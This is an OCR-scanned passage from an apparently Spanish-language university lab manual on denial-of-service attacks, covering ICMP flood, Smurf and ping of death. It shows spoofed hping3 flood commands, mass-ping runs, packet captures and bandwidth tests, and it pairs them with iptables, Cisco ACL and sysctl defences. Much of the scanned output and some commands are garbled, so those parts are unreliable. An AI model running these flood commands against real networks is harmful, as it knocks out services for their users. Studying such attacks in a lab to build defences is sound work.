54 31,418%470192.168.1.2 160,202.166.20  HTTR L1097 GET /_utm.gif?utmw=3. 3., Bhutms=68&utmn=LEL6LLOS624utmAn=render. talkdfree, condutne=R{Action
55 31,4%41600190, 212, 166,20 182.168.1.2 HTTR 430 HTTP/1.1 200 0K (GIF8%)

llustracién 139: Realizando andlisis del trafico con la herramienta Wireshark, analisis nimero 1.

327.37276801%2.168, 1.8 162,168.1.2 TCP 62 rmsd > ndnp [S0] Seq=0 win=63535 Len

ANALISIS CON WIRESHARK #2.
BUSH LU, QUZY38 ASTOCKLILAY 22000 HP0AcasT AR 4 WN0 N3 192, Lo8.L 8¢ 1811 192,108, L.2
G089 210, 604273 AsrockIn 09:41:03  AsrockIn_ad:22:d0 ARp 60 192.168.1.8 s &t 00:25:22:09:41:03

6092 210 717574 74 125 139 % 1916812 Tt 60 frtps » avenue [ACK] Seg
6003 210717301 74.125.130.97 10216812 sl O Application oata
6004 210,722325 200,688,255, 208 19216812 [0

6097 210 77%67200 BB 255 03 1916812 ke 207 HTTP/l 1 200 0K (text/htm )
6058 210,786037190,212,166,20  192.168.1.2 KR 430 HTTR/LL 200 0K (GIFB%:)
6000 210,903674192.168.1.2 200.88.255.203 TP 54 unbind-cluster » http [ACK] Seq=120660 Ack=D23018L Win=64363 Len={
6100 210,9036% 192.168.1.2 74.125.139.95 TP 5 avenue » ttps [ACK] 3eq=354 Ack=231 win=65281 Len=(

llustracién 140: Realizando andlisis del trafico con la herramienta Wireshark, analisis nimero 2.

ANALISIS CON WIRESHARK #3.

UUY LLU q0u0d 9L, LU, Lo L3600 L ILF UUUSUIT 2 TTELKTUD=30IT (AR SEUSUSEL! ALKSJOULY WIIFULJD) LEIFY

llustracién 141: Realizando andlisis del trafico con la herramienta Wireshark, analisis nimero 3.
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RESULTADOS.

Durante el transcurso del tiempo (promedio de 30 minutos hasta que fue detenido) la
maquina donde se encontraba el servidor empez6 a dar sus primeros sintomas entre

ellos: lentitud y toda la red en general comenzé a sufrir problemas de ancho de banda:

Inicialmente se realiz6 un test de velocidad de ancho de banda obteniendo los resultados

{ Restart Test

siguientes

Upload Speed

@® 0.-13 e

Downlioad Speed

o 3 - 53 Mbps

Your IP:

190.212.78.14 B
o - 4 -
s oy

PING: 106ms

llustracion 142: Realizando un test de velocidad de descarga y subida, test nimero 1.

3.53 Mbps en velocidad de descargar y 0.13Mbps velocidad de subida.

Luego a los 3 minutos se realiz6 nuevamente el test de velocidad de ancho de banda

obteniendo los resultados siguientes:

Upload Speed

@ 0.13Mbps '

Download Speed

o 3.51 Mbps

e Your IP:
190.212.78.14 e
p— = -
- —

llustracion 143: Realizando un test de velocidad de descarga y subida, test nUmero 2.
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3.51 Mbps velocidad de descarga y 0.13 Mbps velocidad de subida.

Luego a los 28 minutos se realizé nuevamente el test de velocidad de ancho de banda y
era tan bajo el ancho de banda que no se pudo obtener resultados del sitio web del test,

obteniendo el siguiente error.

(' SN
Latency Test Error

Latency test returned an error while trying to
read the latency file.

( Documentation )
I T

P

{ERROR

llustracion 144: Realizando un test de velocidad de descarga y subida, test nimero 3.

Accediendo al sitio de www.google.com.ni y se obtuvo el siguiente mensaje:

| A Frebleme & cargar ba paging X 'ﬁtfmﬂdﬂulﬂWWmt X I =i

|
€& L wngoogk.com -.‘ Foack

' Servidor no encontrado

Frefox no puede encontra el servidar en www.goode.com,

s Compragbe cue k drecctn no tiene errores da esaitura dal Spo
WL egerrplo,corm e b e wwweenplo,oom

a 5ino puads cargar ningund pagng, comprueba |a conedan ce rad oa su
2OuUpo

w5150 ecuioo 0 red estin oroteados cor un cortafuroos 0 proxy aseodrese de
llustracion 145: Accediendo al sitio web www.google.com y obteniendo como resultado problemas de conexion.

En caso de estar atacado y se cuentes con iptables, una medida rapida es ejecutar el

siguiente comando: iptables -p icmp -j DROP, y a si se bloquea el trafico ICMP.
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DEFENSA ICMP FLOOD.

= CREANDO UN ARCHIVO .SH CON IPTABLES.

Se crea un archivo de texto vacio de nombre ataques, posteriormente se edita con
cualquier editor de textos el archivo ataques.sh; por ejemplo con nano ataques.sh y
editamos lo siguiente:

#Se declara el bash a utilizar

#!/bin/bash

#Se crean los archivos donde se alojaran las IP para las listas negras.

iptables -A lista negra -m recent — -name blacklist_180 — -rcheck — -seconds 180 -m
comment — -comment “Denegar los paquetes de las IPs ingresadas a la lista negra por
180 segundos” -] DROP.

Estos archivos se crean en el directorio /proc ya sea en;
/proc/net/xt_recent/blacklist_180 o /proc/net/ipt_recent/blacklist_180

Asi mismo puede ser visualizado utilizando la siguiente sintaxis;

Cat /proc/net/xt_recent/blacklist_180

# Detener el ICMP Flood

#Crear la cadena para ICMP Flood

iptables -N cadena-icmp-Flood

# Saltar ala cadena cuando el ICMP es detectado

iptables -A INPUT -p icmp -j cadena-icmp-Flood

# Salir de la cadena, si la tasa de paquetes de la misma IP es inferior a 4 por segundo con
una rafaga de 8 por segundo.

Iptables -A cadena-icmp-flood -m limit — -limit 4/s — -limit-burst 8 -m comment — -comment
“Limit ICMP rate” -j RETURN

# Registros Flood cuando la tasa es mas alta

Iptables -A cadena-icmp-flood -m limit — -limit 6/h — -limit-burst 1 -j LOG — -log-prefix
“Cortafuegos: Probable icmp flood ”

# Mandar alista negraala IP por 3 minutos

Iptables -A cadena-icmp-flood -m recent — -name blacklist_180 — -set -m comment — -

comment “Lista Negra origen IP” -] DROP.
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= LISTA DE ACCESO BASICO.

Router (config) # remark Insert other ACL statements here

Router (config) # access-list 100 deny ip any 192.1.1.0 0.0.0.0 (1)
Router (config) # access-list 100 deny ip any 192.1.1.255 0.0.0.0
Router (config) # access-list 100 deny ip any 192.1.2.0 0.0.0.0
Router (config) # access-list 100 deny ip any 192.1.2.255 0.0.0.0

Router (config) # access-list 100 permits icmp any (2)
host 192.1.2.9 echo-reply
Router (config) # access-list 100 deny icmp any echo 3)

Router (config) # access-list 100 denies icmp any echo-reply  (4)

Router (config) # access-list 100 deny udp any eq echo (5)

Router (config) # access-list 100 deny udp any eq echo any (6)

Router (config) # access-list 100 permits tcp any @)
Host 192.1.1.1 eq 80 established

Router (config)# access-list 100 permit tcp any (8)
Host 192.1.1.1 eq 80

Router (config)# access-list 100 permit tcp any 9)
Host 192.1.1.2 eq 25 established

Router (config)# access-list 100 permit tcp any (10)
Host 192.1.1.2 eq 25

Router (config)# remark Insert other ACL statements here

Router (config)# access-list 100 deny ip any any

Router (config)# interface ethernetl

Router (config-if)# ip access-group 100 in
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11.8 ATAQUE SMURF.

Con la realizacién de este ataque se pretende enviar mensajes de ping al broadcast con
IP Spoofing para inundar a la victima y la mayoria de los host tomaran los mensajes ICMP
de echo request y lo responderan, multiplicando el trafico por cada host de la subred y asi

reducir la velocidad del ancho de banda.

Escenario.

Atacante

Wireshark-Usuario

g Intemet

www.uach.com
192.168.14

N

-
Atacante

llustracion 146: Escenario a desarrollar aplicando ataque Smurf.

Realizando el ataque.
Con la herramienta hping3 realizaremos el atague Smurf con la siguiente sintaxis:
Hpin3 -1 -C 8 -K 0 --SPOOF IP_Falseada_victima --FLOOD Direccion_broadcast.

En este ejemplo el ataque seria contra la ip 192.168.1.4 (la ip falseada) y estariamos
enviando un paquete con un destino de broadcast 192.168.1.255. Si en esta red local
hubiera 254 host que respondieran a la direccion de broadcast, 254 host enviarian los

paquetes echo reply contra la direccion ip 192.168.1.4.

Hping3 -1 —C 8 =K 0 =SPOOF 192.168.1.4 —FLOOD 192.168.1.255.
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Primer terminal, se enviaron 2310387 paquetes.

root@rodolfo-1laptop: /home/rodolfo# hping3 -1 -C 8 -K © --spoof 192.168.1.4 --flood 192.168.1.255
HPING 192.168.1.255 (eth® 192.168.1.255): icmp mode set, 28 headers + 6 data bytes

hping in flood mode, no replies will be shown

ih,®

--- 192.168.1.255 hping statistic ---

2310387 packets transmitted, © packets received, 100% packet loss
round-trip min/avg/max = 6.6/6.6/0.0 ms
root@rodolfo-laptop:/home/rodolfo#

llustracion 147: Realizando ataque Smurf con la herramienta hping3, terminal nimero 1.

Segunda terminal, se enviaron 2253776 paquetes.
root@rodolfo-laptop: /home/rodolfo# hping3 -1 -C 8 -K 0 --spoof 192.168.1.4 --flood 192.168.1.255
HPING 192.168.1.255 (eth® 192.168.1.255): icmp mode set, 28 headers + @ data bytes
hping in flood mode, no replies will be shown
ch
- 192.168.1.255 hping statistic ---
2253776 packets transmitted, © packets received, 100% packet loss
round-trip min/avg/max = 0.6/0.6/0.0 ms
root@rodolfo-laptop:/home/rodol fo#

llustracion 148: Realizando ataque Smurf con la herramienta hping3, terminal nimero 2.

Tercer terminal, se enviaron 5429166 paguetes.
root@rodolfo-laptop:/home/rodolfo# hping3 -1 -C 8 -K 0 --spoof 192.168.1.4 --flood 192.168.1.255
HPING 192.168.1.255 (eth® 192.168.1.255): icmp mode set, 28 headers + @ data bytes

hping in flood mode, no replies will be shown

ke

--- 192,168.1.255 hping statistic ---

5429166 packets transmitted, © packets received, 100% packet loss
round-trip min/avg/max = 0.6/0.6/0.0 ms
root@rodolfo-laptop:/home/rodol fo# |

llustracion 149: Realizando ataque Smurf con la herramienta hping3, terminal nimero 3.

Cuarta terminal, se enviaron 6963826 paquetes.

root@rodolfo-laptop:/home/rodolfo# hping3 -1 -C 8 -K 0 --spoof 192.168.1.4 --flood 192.168.1.255
HPING 192.168.1.255 (eth® 192.168.1.255): icmp mode set, 28 headers + @ data bytes

hping in flood mode, no replies will be shown 9

AC

- 192.168.1.255 hping statistic ---
6963826 packets transmitted, © packets received, 100% packet loss
round-trip min/avg/max = 0.6/0.0/0.0 ms
root@rodolfo-laptop: /home/rodolfo# |

llustracion 150: Realizando ataque Smurf con la herramienta hping3, terminal nimero 4.
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Nota: De la misma manera y con la misma sintaxis fue realizado el ataque en la terminal
namero 5 obteniendo el siguiente resultado: Quinta terminal, se enviaron 7208734

paquetes.

ANALISIS CON WIRESHARK #1.

Ha, Tme Source Destination Fratocol Length Info
44 45,0015640152,168.1.2 7’4 125,139,85 TP 4 54 dridi > https FIN, ACK] Seg=r5 Ack=141 Win=65146 Len=0
; dric )

48 50 0230740192, 168, 1 2 74 125 2939 Tl 9 Apphcatwn Data

49 50, 9882780 74,125, 229,238 192,168.1.2 TLSvL 115 Application Data

50°30.9862010 74,125, 220,238 192,168.1.2 TLwL 95 Application Data

50, 5883010 162, 168.1.2 74.125.209.30 e 54 groove-pp » https [ACK] Seg=75 Ack=140 Win=63146 Len=0
50.0884550192.168.1.2 74.125.229.239 Ll Ol application Data

50,98B4760 74,125,220, 239 182.168.1.2 TCp 80 https » groove-dpn [FIN, ACK] Seq=l40 Ack=75 Win=63784 Len=0
50, 5384860 192, 168.1.2 7.125,229.239 TP 54 graave-dpp » https [ACK] Seq=112 Ack=141 Win=6514% Len=)

50, 9885110 192,168.1.2 74.125.225.239  Tep 54 groove-dpn » https [FIN, ACK] Seq=112 Ack=141 Win=65146 Len=0
AT 10 i [ =140 nr=()

192 168 1 255 BROWSEF 217 Become Backup Browser

llustracién 151: Realizando andlisis del trafico con la herramienta Wireshark, analisis nimero 1.

ANALISIS CON WIRESHARK #2.

L10.00000000182, 158, 1.4 T AL T N Gl reguest 10=002709, seq=A1000/1807, ttl=d

(o
DO LI T T DERIE T TP 6 Echa (ping
TO000001216804  DRIRLIT TP 60 Echa (ping
40.0000200000.06804 10680055 1o 60echo ping
50.00001300192, 168, 1.4 162.168.1.2 1P 0 Echo (ping
6 0.00001400152.168.1.4 162.168.1.2 ICHP 60 Echa (ing
70.00001500252.168.1.4 162.168.1.2 ICHP 60 Echa (ing
§0.00001600292,168.1.4 182,168,1.2 ICHP 60 Echa (ing
! ! (ping
! ! (ping
! ! (ping
! ! (ping
! ! (ving
! ! (ping

j in
j
j
j
j
j
j
9 0,00001700152,168.1.4 192,168,285 IOP 60 Echo (pin
j
j
j
j
j
j
§

1M
1M
1M

id=Oxfel8, seo=LLR0/11310, tt1=4
10=002709, sec=41478/1698, tt]=64
10=002709, seo=41734/1609, tt]=64
1d=002708, seo=41890/1700, tt1=64
request 1d=0xd709, sea=d22d8/700, £11<64
request id=0ital, seg=l2076/1131, 1t1=04

) 1
) request |
) i
) i
) i
) i
) i
) request id=Oxfelf, seq=l2332/10312, tt]=Ed
) i
) i
) i
) i
) i
) i
) i

regest
reguest
raguest

reguest 1d=0x2708, seq=d2502/1702, tt1=64
regest
regest
regest

10°0,00001800 192,168.1.4 192,168.1, Iaip 60 Echo (pin
11.0,00001900 1%2,168,1.4 192,168.1, Iaip 60 Echo (pin
12 0,00002000 192,168.1.4 192,168.1, Iaip 60 Echo (pin
13 0,00002100152, 168, 1.4 162,168.1, Iaip 60 Echo (ping) request
14 0,00002200152, 168, 1.4 162,168,1, Iaip 60 Echo (ping) recusst id=062709, seq=43526/L706, t11=64
15 0,00002300152, 168, 1.4 162,168,1.2 Iaip 60 Echo (ping) recusst id=062709, sea=43782/1707, tt]=64
16.0.00007400 157 168.1.4 102 16R.1.7% e i) Fehn fnine) resmiest Ar=0xfa0R. sen<2R44A1314. 711=Rd

llustracién 152: Realizando analisis del trafico con la herramienta Wireshark, analisis nimero 2.

.

.

.

I=0x2708, seq=42738/0703, tt1=b4

i=0x2708, seq=43014/0704, tt1=b

id=0fel8, seq=12588/11313, 1t]-64
]
]

]
]
5
]
§
§
§
§
]
]
] i=Ox2708, seq=t3270/1703, tt1=6d
]

]
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Resultados del Ataque.

Durante el transcurso del tiempo (promedio de 30minutos hasta que fue detenido) la
maquina donde se encontraba el servidor empez6 a dar sus primeros sintomas entre
ellos: lentitud y toda la red en general comenzé a sufrir problemas de ancho de banda.
Inicialmente se realizo un test de velocidad de ancho de banda obteniendo los resultados

siguientes.

@ { Restart Test

Upload Speed

@® 0.13 wee- '

Download Speed

o 3 - 50 Mbps

‘e Your IP:
190.212.75.184 D
a— = —
M1 e

llustracion 153: Realizando Test de medicién de velocidad de descarga y subida, test nimero 1.

Obteniendo 3.50 Mbps de velocidad de descarga y 0.13 Mbps en velocidad de subida,

luego posteriormente a los 2 minutos se realiz6 un nuevo test obteniendo los siguientes:

>

Upload Speed

@ 0_ 1 3Mhp5

Download Speed

o 3 - 49 Mbps

— “our IP:
ﬂ 190.212.75.184 ~.
- - e -
—
-

llustracion 154: Realizando Test de medicion de velocidad de descarga y subida, test niUmero 2.

Obteniendo una pequefia reduccién en la velocidad de descarga de 1Mbps.
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Aproximadamente en el minuto 35 se realiz6 un ultimo test donde se obtuvieron datos
donde se refleja una decaida en la velocidad de descarga:

| Restart Test )

Upload Speed

@ 0- 1 2Mbps

Download Speed

o 1 -37 Mbps

e Your IP:
190.212.75.184 W
a . -
| — —~

llustracion 155: Realizando Test de medicidn de velocidad de descarga y subida, test nimero 3.

Obteniendo 1.37 Mbps en velocidad de descarga y 0.12Mbps en velocidad de subida.

Luego cuando que deseaba navegar por el sitio web www.youtube.com, la recepcion de la
pagina e imagenes era incompleta.

& & .oen.youtube.com c ] l-‘. ~ Google

Busqueda Imagenes Maps Play YouTube Noticias Gmail Drive Calendar Mas -

Subir video

[

Hemos establecido tu preferencia de idioma
Hemos establecido Espaiiol (Espafia) como tu idioma preferido. Puedes modificar esta opcidn a continuacidn. We've set your language preference to es. ®

update this preference below
Learn more

View this message in ish
- o E Se ha hecho popular en YouTube
o dasica

o E Deportes
llustraciéon 156: Accediendo al sitio web www.youtube.com, y obteniendo como resultado problemas al cargar la pagina.

Al realizar nuevamente test de velocidad encontramos los primeros errores gue ho

permitian realizar el test y poco tiempo después ya no visualizaba dicha pagina.
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G =
Latency Test Error

Latency test returned an error while trying to
read the latency file.

{ Documentation )
) S T S

ERROR

- ——4

llustracion 157: Obteniendo como resultado un error al momento de querer realizar un test para medir las
wiecdedes

- wrnnss speed.cam.da

llustracion 158: Tratando de acceder al sitio www.speed.com.do para realizar el test y no fue posible establecer conexién, debido a
la lentitud al cargar dicha pagina.

Al querer navegar por otras paginas como facebook.com, youtube.com, ya era imposible
acceder.

www.facebook.com

facebook.com

Servidor no encontrado

- -

Firefox no puede encontrar el servidor en vww.facebook.com.

= Compruebe que la direccion no tiene errores de escritura del npo
ww.ejemplo.com en lugar de www.ejemplo.com

llustracion 159: Tratando de acceder al sitio web www.facebok.com y obteniendo como resultado problemas de
conexion.
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www.youtube.com

L3 t youtube.com

Servidor no encontrado

"-

Firefox no puede encontrar el servidor en www.youtube.com

= Compruebe que la direccion no tiene errores de escritura del tipo
ww.ejemplo.com en lugar de www.¢jemplo.com

= Sino puede cargar ninguna pagina. compruebe la conexion de red de su equipo

= Sisuequipo o red estan protegidos por un cortafuegos o proxy, asegurese de que
Firefox tiene permiso para acceder a la web.

([Beinterter])

llustracion 160: Tratando de acceder al sitio web www.youtube.com y obteniendo como resultado problemas de
conexion.

DEFENSA CONTRA ATAQUE SMURF.
= ignore_broadcast:

Una forma de desactivar la respuesta a las peticiones broadcast de tipo echo ICMP es
activando la siguiente opcién:

Sysctl -w net.ipvd.icmp_echo_ignore_broadcasts=1, estos parAmetros se encuentran
en /etc/sysctl.conf.

= Comando netstat:
Netstat -an | grep: 80 | sort
Netstat -n -p | grep SYN_REC | awk ‘{print $5}' | awk -F: {print $1}'
Netstat -n -p|grep SYN_REC | wc -I
Netstat -lpn|grep :80 |awk {print $5}'|sort
Netstat -an | grep: 80 | awk '{ print $5 }' | awk -F: '{ print $1 }' | sort | uniq -c | sort —n.

= NO DIRECCIONAR BROADCAST CISCO.

Router (config-if)y#no ip directed-broadcast

= ACCESS LIST.

Access-list 169 permits udp any eq echo

Unan-Ledén Pagina 229




Practica de Denegacion de Servicio.

Access-list 169 permit udp any eq echo any
Access-list 169 permits icmp any echo
Access-list 169 permits icmp any echo-reply
Access-list 169 permits tcp any established
Access-list 169 permits tcp any

» RASTREAR Y RECONOCER UN ATAQUE SMURF.
Access-list 169 permits icmp any echo log-input
Access-list 169 permits ip any
Access-list 169 permits icmp any host known-reflector echo
log-input
Access-list 169 permits icmp any 0.0.0.255 255.255.255.0
Echo log-input
Access-list 169 permits icmp any 0.0.0.0 255.255.255.0 echo
Log-input

Access-list 169 permits ip any

= CONFIGURACION SEGURA DE RED CON SYSCTL.
Sysctl es una interfaz para visualizar y cambiar dinAmicamente parametros en el Kernel.
/proc también proporciona una interfaz para examinar y visualizar esta informacion.
Muchos parametros que afectan al comportamiento de red se encuentran en:
/proc/sys/net/. Nos centraremos en los parametros de red para IPv4, que se encuentran
en: /proc/sys/net/ipv4.
Podemos modificar estos parametros:
Variando los valores en /proc mediante una redireccion:
Echo 0 >/proc/sys/net/ipv4/ip_forward
Con el comando sysctl: sysctl -w net.ipv4.ip_forward=1 o para que se conserven al
reiniciar el sistema, editando /etc/sysctl.conf.
Si no actuamos como router, es interesante deshabilitar el forwarding:

Sysctl -w net.ipv4.ip_forward =0
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Si nuestra maquina no tiene varias IPs, es interesante activar el rp_filter, que rechaza
paquetes cuyo origen no se corresponde con una direccién alcanzable por la interfaz.
Esta opcion nos puede ayudar a evitar IP Spoofing:

Sysctl -w net.ipv4.conf.all.rp_filter = 1

Sysctl -w net.ipv4.conf.default.rp_filter =1

Para evitar ser detectado por algunos espias de puertos que bus-can maquinas activas,
se pueden ignorar todos los pings (téngase en cuenta que otros servicios legitimos
también seran ignorados):

Sysctl -w net.ipv4.icmp_echo_ignhore_all =1

También por el mismo motivo y para evitar ataques de tipo Smurf, se pueden ignorar los
dirigidos a la interfaz broadcast:

sysctl -w net.ipv4.icmp_echo_ignhore_broadcasts =1

En caso de recibir paquetes icmp mal formados seran registrados por el Kernel. Ciertos
router son propensos a generar este tipo de trafico y Para evitar generar archivos de log
demasiado grandes, se puede activar en ese caso:

Sysctl -w net.ipv4.icmp_ignore_bogus_error_responses=1

También resulta interesante detectar actividades sospechosas: como envio de paquetes
con direccion no valida, paquetes con origen y destino la misma maquina, o paguetes con
origen 127.0.0.1 a través de un interfaz Ethernet.

Sysctl -w net.ipv4.conf.all.log_martians =0

Sysctl -w net.ipv4.conf.default.log_martians =0

Para reducir el riesgo de ataque SYN Flooding se puede hacer descartar conexiones
antiguas con:

Sysctl -w net.ipv4.tcp_syncookies = 1

En ciertos casos se debe ajustar también el nimero maximo de conexiones en cola
admitidas (sobre todo en servidores con alta demanda), aunque ello consuma mayor
memaria con:

Sysctl -w net.ipv4.tcp_max_syn_backlog = 128
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11.9 PING OF DEATH.

Atacante Linux

Escenario. ‘.
=
=3 Intemet
Apache
www.uach.com .

-, - Wireshark
Atacante Windows

llustracion 161: Escenario a desarrollar ataque ping de la muerte.

Rreallzando el ataque.

La realizacion del ataque se realizara con la utilizacion del comando ping a través de la
terminal de Linux y CMD en Windows, en el cual se enviaran una cantidad excesiva de
paquetes ICMP de gran tamafio con objetivo de colapsar el sistema o servidor web que se

pretende atacar, el servidor web tiene una direccion ip 192.168.1.4/24.

Entonces lo primero es abrir una terminal en Linux y escribir la siguiente linea de

comandos para ejecutar el ataque.
Ping -l <tamafio paquete> IP_victima.

Desde la maquina con Linux se abrieron 8 terminales con el siguiente linea de ordenes:
ping -l 65596 192.168.1.4.
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Aplicaciones Lugares (3 TS T3 ) lun 24 de dic, 12:36 PM @ rodolfe O

IS
© © @ root@rodolfo-laptop: /home/rodolfo
ivo Editar Ver Terminal Ayuda Archivo Editar Ver Terminal Ayuda
4 bytes from 192.168.1. icmp_seq ti bytes from 192.168.1

192.168.1. icmp_seq bytes from 192.168.1.
bytes from 192.168.1.

Archivo Editar Ver Terminal Ayuda

64 bytes from 192.168.1. icmp_seq

tim e . .
Arch Edita erminal Ayuda
64 bytes from 192.168.1.4: icmp_seq i SrEnVe tkar LY £

bytes from 192.168.1. icmp_seq=1220 tt
64 bytes from 192.168.1.4: icmp seg=1221 ttl=64 ‘rJ.rm= G 844 ms

Archivo Editar Ver Terminal Ayuda
64 bytes from 192.168.1 i FiSe 2 tt chivo Editar Ver Terminal Ayuda

64 bytes from 192.168.1 g ti 6 = _ _
64 bytes from 192.168.1.4: icmp_seq=1184 ttl=64 flgj E:::: ::gm %25'122'}' izms—::g_}igg t £ =L (5

64 bytes from 192.168.1.4: icmp seq=1198 tt
/home/rodolfo
Archivo Editar Ver Te al Ayuda

4 bytes from 192.168.1. icmp_seq
bytes from 192.168.1. lcmD,SEq 64 bytes from 192.168.1 =34 time=0.911 ms
bytes from 192.168.1. bytes from 192.168.1 . .832 ms

Ilustramon 162: Terminales reallzando ataqueplng of death desde Ubuntu 10.04, con 8 terminales Realizando
dicho ataque.

192 .168.
192 .168.
192 . 168 .
192.168.
192.168.
192 .168.
192 . 168 .
192 . 168 .
192 .168.
192 .168.
192 .168.
192.168.
122.168.
192 .168.
192 .168.
192 .168.
192 .168.

icmp_ seqg=79@
icmp_ seq=791

HFEHHRREHHEREREEHEER R

: dcmp_seq=793

--- 192 .168.1.4 ping statistics ---
793 packets transmitted, 792 received, t Lloss, time 745172ms
rtt minsawvg,/m mdew = B0.425/0.660,/6.684/0.639 ms, pipe 48

llustracion 163: Realizando ataque ping of death, obteniendo como resultado 793 paquetes, desde terminal 1.

Terminal 2, se enviaron hasta el momento del corte 1705 paquetes

F rom icmp seq=1586
+ rom icmp sSeq=1687
F rom icmp seq=168&8
F rom icmp seqg=1689
F rom icmp sSeq=169@
F rom icmp seq=1691
F rom Z.l1las8 icmp seq=1692
F rom Z2.168. icmp sSeq=1693
F rom E 1es icmp_ seq=169<%
F rom F 18 icmp_ seq=1695
F rom - 168 icmp seq=1696
F rom = 168 icmp sSeq=1697
F rom ' 1e8 icmp seq=1698
F rom Z.les icmp seq=1699
F rom Z. 168 icmp sSeq=17086
F rom z 168 icmp seq=17e1
F rom r 168 icmp seq=1702

icmp seq=1783

F rom 2.168.
F rom z 168 <4 : icmp_seqgq=1784%

H

-SB68
T3

HEHHHHHHREHEEEHE
0OCOODCODOCO0C00C000

192.168.1.4 ping statistics - - -
1705 packets transmitted, 1671 receiwved, packet lLoss, TtTime 1635352ms
rtt ming/Sawvgs mass & 3.391/6.763/195.686/ -B867F ms, pipe 7O
root@rodolfo-lLaptop: s homesrodolLfox B

llustracion 164: Realizando ataque ping of death, obteniendo como resultado 1705 paquetes, desde terminal 2
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Termlnal 3, se enV|aron hasta el momento del corte 1694 paquetes

bnys from
bytes from
bytes from
bytes from
bytes from
bytes from
bytes from

E 1cmp SPq 1689
bytes from F 3 icmpise

icmp_se
icmp seg=1682
1cmp seq= 1683

bytes from
bytes from
bytes from
bytes from
bytes from
bytes from
bytes from

1cmp seq 1698

icmp seg=1691

icmp seg=1692

icmp seg=1693 o £
icmp seq=1694 ffl 64 time=0.475

--- 192.168.1.4 ping statistics ---
1694 packets transmitted, 1657 received, 2% packet loss, time 1625346ms
rtt mln;auq;max;mdpu a . 3?9!@ TA3,100.566/2.571 ms, pipe 69

llustracion 165: Realizando ataque ping of death, obteniendo como resultado 1694 paquetes, desde terminal 3

Terminal 4, se enviaron hasta el momento del corte 35018 paquetes.

Ffrom 192._.168.1.4 eq=. tt 4 time=e.489
from 192.168.1. i .

from 192._.168.1.

from 192_168.1.

from 192._.168.1.

from 192.168.1.

from 192_168.1.

from 192._168.1.

from 192._.168.1.

from 192.168.1.

from 192.168.1.

from 192.168.1.

from 192._.168.1.

from 192.168.1.

from 192_168.1.

from 192_168.1.

from 192.168.1.

from 192.168.1.

from 192._.168.1.4: i tt 4 time= B 498

--- 192.168.1.4 ping statistics ---
35018 packets transmitted, 3851 receiwved, packet loss, time 1615325ms
rff mln/avu/ma&/mdpv B.385,/39.339/175.488,/,48_. 728 ms, pipe 32768

llustracion 166: Realizando ataque ping of death, obteniendo como resultado 35018 paquetes, desde terminal 4.
Nota: De la misma manera fue realizado el ataque desde terminales 5,6,7,8,

Obteniendo los siguientes resultados:

Terminal 5, se enviaron hasta el momento del corte 2371 paquetes.
Terminal 6, se enviaron hasta el momento del corte 67667 paguetes.
Terminal 7, se enviaron hasta el momento del corte 2154 paquetes.

Terminal 8, se enviaron hasta el momento del corte 2114 paquetes.

DESDE MAQUINAS WINDOWS, se abrieron 10 terminales cmd
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65500 tienpo=12m
tiempo=1

tem32em
tienpo=12ns 11 E 192.168.1.4
enpo=12

550
=65500
65508 o
=65508 tiempo=12ns TTL=64

655088 tienpo=12 1TL=64

65508 tienpo = TTL-64
tienpo=12
tienpo=12ps

19 .lm',(
192.168.
9 AM;A\A
.168.1.4 tes =65508

Respuesta p 8.1. 655008 tiempo
Respuesta des e =65500 tienpo=12
Re 5=655008 tienpo=12n
65500 tienpo=12
S5 i : : 65508 tiempo~12n
65588 tien > a s 68.1. 65508 tiempo

llustracion 167: Realizando el ataque Ping of death, desde clientes en Windows, con 10 cmd.

Terminal 1, se enviaron hasta el momento del corte 1978 paquetes

Cere

L-B
o o ] e o] ] ]
o o ) o ] ] ] ]
ol o

llustracion 168: Realizando ataque ping of death Desde windows, terminal 1.

Terminal 2, se enviaron hasta el momento del corte 1978.

&

1
1
1
1
=
i
=1
i
1
. |
i

B
| |

R
=000 QRO00
| |

(YT
e e ] e ] e

e o o
el ol o el ol s ol ol s o s

4 dacascdndadadataae
b
1

[l 0"

o o L—

llustracion 169: Realizando ataque ping of death Desde windows, terminal 2.
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Terminal 3, se enviaron hasta el momento del corte 1985 paquetes

FATIFIEE TR EEE
o o o o o o o o o

Jul
B

192 . 168 .1 4=
1985 . recibidos

= SN0 e I | 7]
I"‘I1r|1n|u 14 me= < 5
k=] 11—

llustracion 170: Realizando ataque ping of death Desde windows, terminal 3.

Terminal 4, se enviaron hasta el momento del corte 1985 paquetes.

tiempo=18msz

iempo =1 B
empo =1 7m

| 0NN
- -

e
|
POD

facasssantAtAtAta
o ks s i i o s i s e o sk o s o o

=
<4
4
b <4
L=64
b <k
4
<1
4

168 .
recibidos

T iempo . ¢l x> dda w vuelta
S gl
Min imo = Max imo 118mns .
ot 1—0G

llustracion 171: Realizando ataque ping of death Desde windows, terminal 4.

Nota: De igual manera fue realizado el ataque ping of death desde maquinas
clientes con Windows, en las cmd namero 5, 6, 7, 8, 9, 10, obteniendo los siguientes

resultados:

Terminal 5, se enviaron hasta el momento del corte 1992 paquetes.
Terminal 6, se enviaron hasta el momento del corte 1995 paquetes.
Terminal 7, se enviaron hasta el momento del corte 1997 paquetes.
Terminal 8, se enviaron hasta el momento del corte 2001 paquetes.

Terminal 9, se enviaron hasta el momento del corte 2008 paquetes.
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Terminal 10, se enviaron hasta el momento del corte 2019 paquetes.
ANALISIS CON WIRESHARK #1.

1 0.00000000 192, 168,15 144,108, 1.2 TCP g0 Jstel » nomp [AcK] Sen=L ack=l Win=a3373 Len=0

2 0.000035001%2.168.1.2 142,168.1.5 TCP 116 ndmp > jstel [PsH, ACk] Seg=l Ack=l Win=63529 Len=62

3 0.01883800192.168.1.8 152.168.1.2 TCP 60 ardus-cnt] » ndmp [ACK] Seg=l Ack=1 win=64625 Len=0

4 0,01884500 192.168,1.2 192,168.1.8 TCP 116 ndnp > ardus-crit] [PSH, ACK] Segsl Ack=l win=64417 Len=62
5 0.20110700152.168.1.5 192,168.1.2 TCP 60 jstel » ndmp [ACK] Sen=L Ack=63 win=65311 Len=0
§0,21994300192,168.1.8 192.168.1.2 TCP 80 ardus-cnt] » ndmp [ACK] Seq=l Ack=83 win=64563 Len=0

7 0,83917600152,168.1.2 192,168.1.8 TCR 73 ndmp > ardus-cnt] [PSH, ACK] Seq=63 Ack=l Win=54417 Len=1%
B 0,83021300182,168.1.2 164,168,1.5 TCP 73 ndmp » jstel [PSH, ACK] Seq=63 Ack=1 Win=65529 Len=19
B1,005768400152,168,1.5 197,168,1.2 TCP 80 jstel » ndmp [AcK] Seg=L Ack=82 win=65292 Len=0
